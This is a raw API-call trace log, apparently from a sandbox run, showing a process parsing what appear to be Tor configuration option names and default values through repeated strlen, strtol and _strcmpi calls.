0x9f07d8 [0115.225] strlen (_Str="CookieAuthFileGroupReadable") returned 0x1b [0115.225] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.225] _errno () returned 0x9f07d8 [0115.225] strlen (_Str="CountPrivateBandwidth") returned 0x15 [0115.225] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.225] _errno () returned 0x9f07d8 [0115.225] strlen (_Str="DataDirectoryGroupReadable") returned 0x1a [0115.225] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.225] _errno () returned 0x9f07d8 [0115.225] strlen (_Str="DisableNetwork") returned 0xe [0115.225] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.225] _errno () returned 0x9f07d8 [0115.225] strlen (_Str="DirAllowPrivateAddresses") returned 0x18 [0115.225] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.225] _errno () returned 0x9f07d8 [0115.225] strlen (_Str="TestingAuthDirTimeToLearnReachability") returned 0x25 [0115.226] _errno () returned 0x9f07d8 [0115.226] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.226] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.226] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.226] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.226] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.226] strlen (_Str="DirReqStatistics") returned 0x10 [0115.226] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.226] _errno () returned 0x9f07d8 [0115.226] strlen (_Str="DirCache") returned 0x8 [0115.226] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.226] _errno () returned 0x9f07d8 [0115.226] strlen (_Str="DirAuthorityFallbackRate") returned 0x18 [0115.226] atof (_String="1.0") returned 0x9f07d0 [0115.226] strlen (_Str="DisableAllSwap") returned 0xe [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AccountingMax") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AccountingRule") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AccountingStart") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="Address") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AllowDotExit") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AllowInvalidNodes") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AllowSingleHopCircuits") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AllowSingleHopExits") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AlternateBridgeAuthority") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AlternateDirAuthority") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AlternateHSAuthority") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AssumeReachable") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirBadDir") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirBadDirCCs") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirBadExit") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirBadExitCCs") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirInvalid") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirInvalidCCs") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirFastGuarantee") returned 1 [0115.226] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirPinKeys") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirReject") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirRejectCCs") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirRejectUnlisted") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirListBadDirs") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirListBadExits") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirMaxServersPerAddr") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirMaxServersPerAuthAddr") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthDirHasIPv6Connectivity") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AuthoritativeDirectory") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AutomapHostsOnResolve") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AutomapHostsSuffixes") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="AvoidDiskWrites") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="BandwidthBurst") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="BandwidthRate") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="BridgeAuthoritativeDir") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="Bridge") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="BridgePassword") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="BridgeRecordUsageByCountry") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="BridgeRelay") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CellStatistics") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="LearnCircuitBuildTimeout") returned -1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CircuitBuildTimeout") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CircuitIdleTimeout") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CircuitStreamTimeout") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CircuitPriorityHalflife") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientDNSRejectInternalAddresses") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientOnly") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientPreferIPv6ORPort") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientPreferIPv6DirPort") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientRejectInternalAddresses") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientTransportPlugin") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientUseIPv6") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ClientUseIPv4") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ConsensusParams") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ConnLimit") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ConnDirectionStatistics") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ConstrainedSockets") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ConstrainedSockSize") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ContactInfo") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ControlListenAddress") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ControlPort") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ControlPortFileGroupReadable") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ControlPortWriteToFile") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ControlSocket") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="ControlSocketsGroupWritable") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="SocksSocketsGroupWritable") returned -1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CookieAuthentication") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CookieAuthFileGroupReadable") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CookieAuthFile") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="CountPrivateBandwidth") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="DataDirectory") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="DataDirectoryGroupReadable") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="DisableNetwork") returned -1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="DirAllowPrivateAddresses") returned 1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="TestingAuthDirTimeToLearnReachability") returned -1 [0115.227] _strcmpi (_Str1="DisableAllSwap", _Str2="DirListenAddress") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DirPolicy") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DirPort") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DirPortFrontPage") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DirReqStatistics") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DirAuthority") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DirCache") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DirAuthorityFallbackRate") returned 1 [0115.228] _strcmpi (_Str1="DisableAllSwap", _Str2="DisableAllSwap") returned 0 [0115.228] _errno () returned 0x9f07d8 [0115.228] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.228] _errno () returned 0x9f07d8 [0115.228] strlen (_Str="DisableDebuggerAttachment") returned 0x19 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AccountingMax") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AccountingRule") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AccountingStart") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="Address") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AllowDotExit") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AllowInvalidNodes") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AllowSingleHopCircuits") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AllowSingleHopExits") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AlternateBridgeAuthority") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AlternateDirAuthority") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AlternateHSAuthority") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AssumeReachable") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirBadDir") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirBadDirCCs") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirBadExit") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirBadExitCCs") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirInvalid") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirInvalidCCs") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirFastGuarantee") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirPinKeys") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirReject") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirRejectCCs") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirRejectUnlisted") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirListBadDirs") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirListBadExits") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirMaxServersPerAddr") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirMaxServersPerAuthAddr") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthDirHasIPv6Connectivity") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AuthoritativeDirectory") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AutomapHostsOnResolve") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AutomapHostsSuffixes") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="AvoidDiskWrites") returned 1 [0115.228] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="BandwidthBurst") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="BandwidthRate") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="BridgeAuthoritativeDir") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="Bridge") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="BridgePassword") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="BridgeRecordUsageByCountry") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="BridgeRelay") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CellStatistics") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="LearnCircuitBuildTimeout") returned -1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CircuitBuildTimeout") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CircuitIdleTimeout") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CircuitStreamTimeout") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CircuitPriorityHalflife") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientDNSRejectInternalAddresses") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientOnly") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientPreferIPv6ORPort") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientPreferIPv6DirPort") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientRejectInternalAddresses") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientTransportPlugin") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientUseIPv6") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ClientUseIPv4") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ConsensusParams") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ConnLimit") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ConnDirectionStatistics") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ConstrainedSockets") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ConstrainedSockSize") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ContactInfo") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ControlListenAddress") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ControlPort") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ControlPortFileGroupReadable") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ControlPortWriteToFile") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ControlSocket") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="ControlSocketsGroupWritable") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="SocksSocketsGroupWritable") returned -1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CookieAuthentication") returned 1 [0115.229] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CookieAuthFileGroupReadable") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CookieAuthFile") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="CountPrivateBandwidth") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DataDirectory") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DataDirectoryGroupReadable") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DisableNetwork") returned -1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirAllowPrivateAddresses") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="TestingAuthDirTimeToLearnReachability") returned -1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirListenAddress") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirPolicy") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirPort") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirPortFrontPage") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirReqStatistics") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirAuthority") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirCache") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DirAuthorityFallbackRate") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DisableAllSwap") returned 1 [0115.230] _strcmpi (_Str1="DisableDebuggerAttachment", _Str2="DisableDebuggerAttachment") returned 0 [0115.230] _errno () returned 0x9f07d8 [0115.230] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.230] _errno () returned 0x9f07d8 [0115.230] strlen (_Str="DisableIOCP") returned 0xb [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AccountingMax") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AccountingRule") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AccountingStart") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="Address") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AllowDotExit") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AllowInvalidNodes") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AllowSingleHopCircuits") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AllowSingleHopExits") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AlternateBridgeAuthority") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AlternateDirAuthority") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AlternateHSAuthority") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AssumeReachable") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirBadDir") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirBadDirCCs") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirBadExit") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirBadExitCCs") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirInvalid") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirInvalidCCs") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirFastGuarantee") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirPinKeys") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirReject") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirRejectCCs") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirRejectUnlisted") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirListBadDirs") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirListBadExits") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirMaxServersPerAddr") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirMaxServersPerAuthAddr") returned 1 [0115.230] _strcmpi (_Str1="DisableIOCP", _Str2="AuthDirHasIPv6Connectivity") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="AuthoritativeDirectory") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="AutomapHostsOnResolve") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="AutomapHostsSuffixes") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="AvoidDiskWrites") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="BandwidthBurst") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="BandwidthRate") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="BridgeAuthoritativeDir") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="Bridge") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="BridgePassword") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="BridgeRecordUsageByCountry") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="BridgeRelay") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CellStatistics") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="LearnCircuitBuildTimeout") returned -1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CircuitBuildTimeout") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CircuitIdleTimeout") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CircuitStreamTimeout") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CircuitPriorityHalflife") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientDNSRejectInternalAddresses") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientOnly") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientPreferIPv6ORPort") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientPreferIPv6DirPort") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientRejectInternalAddresses") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientTransportPlugin") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientUseIPv6") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ClientUseIPv4") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ConsensusParams") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ConnLimit") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ConnDirectionStatistics") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ConstrainedSockets") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ConstrainedSockSize") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ContactInfo") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ControlListenAddress") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ControlPort") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ControlPortFileGroupReadable") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ControlPortWriteToFile") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ControlSocket") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="ControlSocketsGroupWritable") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="SocksSocketsGroupWritable") returned -1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CookieAuthentication") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CookieAuthFileGroupReadable") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CookieAuthFile") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="CountPrivateBandwidth") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="DataDirectory") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="DataDirectoryGroupReadable") returned 1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="DisableNetwork") returned -1 [0115.231] _strcmpi (_Str1="DisableIOCP", _Str2="DirAllowPrivateAddresses") returned 1 [0115.231] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.231] _errno () returned 0x9f07d8 [0115.231] strlen (_Str="DownloadExtraInfo") returned 0x11 [0115.232] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.232] _errno () returned 0x9f07d8 [0115.232] strlen (_Str="TestingEnableConnBwEvent") returned 0x18 [0115.232] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.232] _errno () returned 0x9f07d8 [0115.232] strlen (_Str="TestingEnableCellStatsEvent") returned 0x1b [0115.232] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.232] _errno () returned 0x9f07d8 [0115.232] strlen (_Str="TestingEnableTbEmptyEvent") returned 0x19 [0115.232] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.232] _errno () returned 0x9f07d8 [0115.232] strlen (_Str="EnforceDistinctSubnets") returned 0x16 [0115.232] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.232] _errno () returned 0x9f07d8 [0115.232] strlen (_Str="EntryStatistics") returned 0xf [0115.232] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.232] _errno () returned 0x9f07d8 [0115.232] strlen (_Str="TestingEstimatedDescriptorPropagationTime") returned 0x29 [0115.233] _errno () returned 0x9f07d8 [0115.233] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.233] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.233] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.233] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.233] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.233] strlen (_Str="ExcludeSingleHopRelays") returned 0x16 [0115.233] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.233] _errno () returned 0x9f07d8 [0115.233] strlen (_Str="ExitPolicyRejectPrivate") returned 0x17 [0115.233] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.233] _errno () returned 0x9f07d8 [0115.233] strlen (_Str="ExitPortStatistics") returned 0x12 [0115.233] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.233] _errno () returned 0x9f07d8 [0115.233] strlen 